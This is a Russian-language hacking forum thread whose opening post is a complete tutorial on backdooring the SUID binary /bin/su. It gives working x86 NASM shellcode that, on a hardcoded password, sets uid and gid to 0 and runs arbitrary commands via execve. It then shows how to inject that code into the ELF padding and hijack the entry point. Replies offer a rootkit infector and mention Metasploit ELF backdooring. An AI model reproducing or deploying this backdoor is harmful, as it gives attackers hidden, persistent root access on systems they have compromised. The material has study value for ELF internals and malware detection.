Старый 26.11.2011, 13:37   #1
DrakonHaSh
 
Регистрация: 05.07.2010
Сообщений: 244
Репутация: 106
По умолчанию Трояним эльфов

Трояним эльфов

Задача: Вставить в elf-файл возможность, при указании пароля, запуска произвольных команд. Размер и функционал исходного elf-файла остаются неизменными.

Часть 1. Трояним /bin/su из BackTrack 5 R1 x86 [образ VMWare BT5R1-GNOME-VM-32.7z]

1. ELF и его анатомия в контексте используемой возможности вставки троянского кода.

ELF [Execution and Linkable Format] является основным форматом бинарных исполняемых файлов в Linux и BSD. Т.е., грубо говоря, все исполняемые файлы, которые не являются текстовыми скриптами (на bash, perl, php, ...) являются бинарными файлами в формате ELF. Все суидники из /bin как раз имеют формат ELF

ELF является близким родственником/аналогом формата исполняемых файлов Windows Portable Executable (PE) и имеет схожую структуру: в начале ELF-файла расположен служебный заголовок (ELF-header), описывающий основные характеристики файла - в т.ч. виртуальный адрес точки входа, смещения(адреса) и размеры остальных заголовков/таблиц ELF-файла. За ELF-header'ом следует таблица сегментов (Program header table), перечисляющая сегменты файла и их атрибуты. Затем следуют сами сегменты. Все, что следует далее (таблица секций , секции, таблица символов, таблица строк, ...), в контексте данной статьи, нам не важно.

А вот то, что нам будет важно:
  • Виртуальный адрес точки входа (Entry point) - сюда загрузчик ОС передаст управление после загрузки и инициализации файла в памяти.
  • Таблица сегментов (Program header table) - описывает атрибуты сегментов (Type, Offset, VirtAddr, PhysAddr, FileSiz, MemSiz, Flg, Align - см. ниже).
  • Сегмент - это непрерывный фрагмент ELF-файла, который копируется загрузчиком ОС в память создаваемого процесса со своими атрибутами доступа. В частности, сегмент кода имеет атрибуты чтения и исполнения, а сегмент данных - атрибуты чтения и записи.
Посмотреть интересующие нас данные можно с помощью readelf:
Код:
root@bt:~# readelf -l /bin/su
 Elf file type is EXEC (Executable file)
 Entry point 0x8049b00
 There are 8 program headers, starting at offset 52
 Program Headers:
   Type           Offset   VirtAddr   PhysAddr   FileSiz MemSiz  Flg Align
   PHDR           0x000034 0x08048034 0x08048034 0x00100 0x00100 R E 0x4
   INTERP         0x000134 0x08048134 0x08048134 0x00013 0x00013 R   0x1
       [Requesting program interpreter: /lib/ld-linux.so.2]
   LOAD           0x000000 0x08048000 0x08048000 0x06a38 0x06a38 R E 0x1000
   LOAD           0x006efc 0x0804fefc 0x0804fefc 0x00534 0x045d8 RW  0x1000
   DYNAMIC        0x006f10 0x0804ff10 0x0804ff10 0x000e0 0x000e0 RW  0x4
   NOTE           0x000148 0x08048148 0x08048148 0x00044 0x00044 R   0x4
   GNU_STACK      0x000000 0x00000000 0x00000000 0x00000 0x00000 RW  0x4
   GNU_RELRO      0x006efc 0x0804fefc 0x0804fefc 0x00104 0x00104 R   0x1
 ...
В выводе мы видим адрес точки входа 0x8049b00, видим что этот адрес принадлежит сегменту LOAD [0x08048000 < 0x8049b00 < 0x08048000+0x06a38], который начинается в файле со смещения 0x000000, имеет длину 0x06a38, проецируется в память на адрес 0x08048000 и имеет атрибуты чтение/исполнение (R E). И, что самое приятное, видим что следующий за ним сегмент начинается со смещения 0x006efc, т.е. в ELF-файле между 0x06a38 и 0x006efc есть целых 1200 байт незанятого пространства, в которые мы можем вписать полезный нам код. Замечу, что подобный вариант (значительные промежутки свободного пространства между сегментами, вставляемые компилятором для выравнивания) встречается далеко не всегда и зависит от опций компиляции при сборке дистрибутива/бинарника. Что делать в таких случаях я напишу во второй части статьи, а сейчас вернемся к нашему /bin/su.

Схема протроянивания будет следующей:
  • нужно увеличить размер исполняемого сегмента (FileSiz и MemSiz) с 0x06a38 до 0x006efc - таким образом мы получим возможность вставить в сегмент еще до 1220 байт исполняемого кода.
  • нужно изменить точку входа (Entry point) на наш код, а уже из нашего кода, после выполнения нужных нам дел, перейти на оригинальную точку входа.
Теперь наша задача - написать код троянской вставки/инъекции. Нюансы написания этого кода очень сходны с написанием шелл-кода для эксплоитов - т.е. ассемблер + использование системных вызовов ядра.

2. Шелл-код для Linux ELF32

Задача: написать шелл-код, имеющий функционал, аналогичный данному:
Код:
#include <stdio.h>
#include <stdlib.h>
int main (int argc, char **argv, char **envp)
{
    if ( argc >= 3 ) // если программа запущена с покрайней мере 2-мя аргументами [./troy pass cmd]   
    {         
        if ( *(int*)(argv[1])==0x31323334 ) // сравнение первых 4-х символов первого аргумента командной строки со строкой 4321
        {   
            setuid(0);
            setgid(0);
            execve(argv[2], &(argv[2]), envp);
            // в случае успешного вызова execve все, что ниже, не будет исполнено т.к. вызов execve замещает(т.е. прерывает) вызывающий процесс   
        }
    }
    // во внедренном в elf коде здесь будет переход на исполнение оригинального кода
    // а здесь, в целях отладки, мы вызывает exit(123) 
    exit(123);
}
Для получения шелл-кода нужно написать этот код на ассемблере. В шелл-коде нужно будет получить аргументы командной строки и сделать соответствующие системные вызовы [ system calls / syscall / int 80h ] для setuid, setgid, execve и exit.

Изучаем Linux Assembly Tutorial Step-by-Step Guide, находим там следующую информацию:

# 4.3 Linux System Calls

Системные вызовы в linux вызываются через вызов прерывания int 80h, в регистр EAX заносится номер системного вызова, а аргументы (1-й, 2-й, ... ,6-й) передаются соответственно через регистры: EBX, ECX, EDX, ESI, EDI, и EBP. Если аргументов больше 6-ти, то аргументы передаются через структуру в памяти на которую указывает EBX. Результат системного вызова возвращается в регистре EAX.

# 5.1 Command Line Arguments and the Stack

При запуске программы
./program foo bar 42
стек(Stack) в точке старта (Entry point) программы будет иметь вид:
Код:
4          Количество аргументов (argc), включая имя программы
=>program  указатель на строку argv[0]
=>foo      указатель на строку argv[1]
=>bar      указатель на строку argv[2]
=>42       указатель на строку argv[3]
затем идет 0
затем идут ссылки на переменные окружения envp[0]...envp[last]
затем идет 0
Проверим (помня что Entry point /bin/su == 0x8049b00):
Код:
root@bt:~# gdb -q --arg /bin/su foo bar 42
gdb$ b *0x8049b00 
Breakpoint 1 at 0x8049b00
gdb$ r
Breakpoint 1, 0x08049b00 in ?? ()
gdb$ x/8xw $esp
0xbfce2470:    0x00000004    0xbfce3755    0xbfce375d    0xbfce3761
0xbfce2480:    0xbfce3765    0x00000000    0xbfce3768    0xbfce3788
gdb$ x/6s {int}($esp+4)
0xbfce3755:     "/bin/su"
0xbfce375d:     "foo"
0xbfce3761:     "bar"
0xbfce3765:     "42"
0xbfce3768:     "ORBIT_SOCKETDIR=/tmp/orbit-root"
0xbfce3788:     "SSH_AGENT_PID=1531"
=> все ок, все как и ожидалось.

Смотрим номера для setuid, setgid, execve и exit в http://bluemaster.iu.hio.no/edu/dark/lin-asm/syscalls.html. [Также номера системных вызовов можно посмотреть в unistd.h, который, например, в BackTrack 5 R1 x86 ссылается, в конечном итоге, на /usr/include/asm/unistd_32.h ]
Пишем шелл-код:
Код:
section .text
global _start
USE32

_start:

    cmp  [esp], dword 3             ; кол-во аргументов командной строки + 1(имя проги) 
    jc   OriginalStart
    push eax                        ; сохраняем изначальное значение eax 
    mov  eax, [esp+4*(2+1)]         ; адрес первого аргумента командной строки
    cmp  [eax], dword 31323334h     ; password: 4321 
    pop  eax 
    jnz  OriginalStart

    ; Linux System Call #23: setuid (uid_t uid)
    mov  ebx, 0                     ; uid_t uid
    mov  eax, 23                    ; Linux System Call #23
    int  80h                        ; 

    ; Linux System Call #46: setgid (gid_t gid) 
    mov  ebx, 0                     ; gid_t gid
    mov  eax, 46                    ; Linux System Call #46
    int  80h                        ;

    ; Linux System Call #11: execve (const char *filename, char const argv[], char const envp[]) 
    mov  ebx, [esp+12]              ; char *filename        ;второй арумент командной строки
    lea  ecx, [esp+12]              ; char const argv[]

    mov  eax, [esp]    
    inc  eax
    inc  eax                        ; eax = [кол-во аргументов командной строки + 1(имя проги)] + 2   
    lea  edx, [esp+4*eax]           ; char const envp[]     ;передаем enviroment (тот, что передали нам)

    mov  eax, 11                    ; Linux System Call #11
    int  80h                        ;
 
OriginalStart:
    ; jmp 0                                  
  
    ; Linux System Call #1: exit (int status)
    mov  ebx, 123
    mov  eax, 1                     ; Linux System Call #1
    int  80h                        ;
Тестируем, предварительно установив nasm [apt-get install nasm]:
Код:
root@bt:~# nasm troy.asm -f elf
root@bt:~# ld troy.o  
root@bt:~# ./a.out 4321 /bin/sh -c id; echo $? # 4321 - верный пароль
uid=0(root) gid=0(root) groups=0(root)
0
root@bt:~# ./a.out 321 /bin/sh -c id; echo $?  # 321 - не верный пароль
123
Все протестировано, можно переходить к заключительному этапу - внедрению шелл-кода в /bin/su.

P.S. В процессе исследований/тестов активно использовался edb-debugger - отладчик бинарников без исходных текстов. Похож на виндовую ольку. В BackTrack ставится легко: "apt-get install edb-debugger".

3. Внедряем шелл-код в ELF.

Задача:
  1. Изменить размер исполняемого сегмента, забрав все неиспользуемое пространство между исполняемым сегментом и следующим за ним сегментом данных.
  2. Вставить(override) в это пространство шелл-код.
  3. В нашем троянском коде (в ветке перехода при неправильном пароле) сделать переход на оригинальную точку входа.
  4. Изменить точку входа на наш троянский код.
Для проведения всех этих операций нам понадобится Hiew - редактор двоичных файлов, ориентированный на работу с кодом, имеет встроенный ассемблер/дизассемблер для x86 и x86-64, поддержку ELF/ELF64 и возможность вставки(override) данных в произвольное место двоичных файлов - т.е. всё то, что нам надо.

Т.к. Hiew и его интерфейс зародился еще во времена ДОСа и нортон коммандера, то для человека непосвященного он, наверное, выглядит малопонятным – вся работа основана на хоткеях. Поэтому я решил в статью вставить лишь парочку основных скриншотов, а весь процесс внедрения шелл-кода в hiew «заснял» на видео, которое в аттаче к данной статье.

Окно просмотра таблицы сегментов (Program header table)



Изменяем размер исполняемого сегмента, забрав все неиспользуемое пространство между исполняемым сегментом и следующим за ним сегментом данных:



Вставляем в "освобожденное" пространство шелл-код и в ветке перехода при неправильном пароле делаем переход на оригинальную точку входа:



Изменяем точку входа на наш троянский код:




Видео, исходники, hiew и прочие файлы к статье

Последний раз редактировалось DrakonHaSh; 03.07.2012 в 19:42..
DrakonHaSh вне форума   Ответить с цитированием
Старый 19.06.2012, 23:30   #2
Specialist
 
Регистрация: 13.06.2012
Сообщений: 25
Репутация: 20
По умолчанию

Молодец, что разобрался. В наше время троянить эльфов не очень полезно, зато интересно.
Года 4 назад тоже этим развлекался. Только у меня была несколько другая идея.
Копаясь с gdb, я заменил, что во многие бинарники RH gcc вставляет ф-цию dummy_frame, которая вызывается из init перед main. Её можно было вполне безболезненно переписать.
Единственный минус, это размер - 53 байта, но свой exec туда вполне помещается. Для автозагрузки руткита подошло. Со свежими версиями gcc не проверял.
Саму функцию искал по сигнатуре. Если кому-то будет интересен код инфектора, могу скинуть.
Specialist вне форума   Ответить с цитированием
Старый 01.07.2012, 20:34   #3
<Gh0St>
 
Аватар для <Gh0St>
 
Регистрация: 22.03.2012
Сообщений: 75
Репутация: 19
По умолчанию

Интересная статья +
Перезалей файлы.
__________________
- Про опыт говорят: "Мы так свои ошибки называем"
<Gh0St> вне форума   Ответить с цитированием
Старый 03.07.2012, 19:42   #4
DrakonHaSh
 
Регистрация: 05.07.2010
Сообщений: 244
Репутация: 106
По умолчанию

файл перезалил
DrakonHaSh вне форума   Ответить с цитированием
Старый 20.03.2013, 20:08   #5
r1za4
 
Аватар для r1za4
 
Регистрация: 20.03.2013
Сообщений: 1
Репутация: 0
По умолчанию

^Спасибо +Null
r1za4 вне форума   Ответить с цитированием
Старый 14.02.2014, 12:36   #6
egyp7
 
Регистрация: 14.02.2014
Сообщений: 2
Репутация: 0
По умолчанию

Статья конечно интересна с точки зрения изучения формата ELF файлов, но зачем такой гемор когда сидишь с BT5 R1 с встроеным msf из коробки.
Backdooring эльфов на сколько я помню(! с любой полезной нагрузкой), возможен был непосредственно через msfpayload/msfvenom и делалось это дело за пару секунд.
egyp7 вне форума   Ответить с цитированием
Ответ

Метки
elf, shellcode, suid backdoor

Опции темы Поиск в этой теме
Поиск в этой теме:

Расширенный поиск
Опции просмотра

Ваши права в разделе
Вы не можете создавать новые темы
Вы не можете отвечать в темах
Вы не можете прикреплять вложения
Вы не можете редактировать свои сообщения

BB коды Вкл.
Смайлы Вкл.
[IMG] код Вкл.
HTML код Выкл.

Быстрый переход



Powered by vBulletin® Version 3.8.5
Copyright ©2000 - 2018, Jelsoft Enterprises Ltd. Перевод: zCarot